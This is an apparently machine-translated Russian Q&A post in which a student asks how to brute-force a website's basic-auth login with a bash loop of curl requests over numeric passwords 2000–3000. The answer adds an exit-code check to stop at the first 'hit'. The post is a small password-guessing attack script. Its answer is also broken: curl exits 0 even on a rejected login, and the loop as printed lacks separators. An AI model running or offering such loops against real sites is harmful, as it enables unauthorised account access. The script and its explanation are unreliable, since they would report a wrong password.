Как я могу войти на сайт с терминала?

Будучи студентом информатики, я теперь учусь работать с командной строкой. Мне нужно использовать грубую силу для входа на веб-сайт, зная имя пользователя и пароль – целое число в определенном диапазоне. Это то, что у меня есть до сих пор, но это не работает.

for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done 

Как я могу продолжить?

То, что ваша рутина не хватает, – это какой-то способ выхода после того, как будет найден правильный i . Для этого вы можете посмотреть код выхода, приведенный обратно из curl:

 for i in {2000..3000} do curl http://admin:$i@mywebsite.com/link if [ "$?" -eq 0 ]; then echo Found "$i" break fi done 

Значение exit curl равно 0, когда все правильно и может быть проверено сразу после остановки программы, проверяя специальную переменную $? , Используйте man curl и ищите EXIT CODE чтобы увидеть все разные вещи, которые curl может рассказать вам с кодом выхода.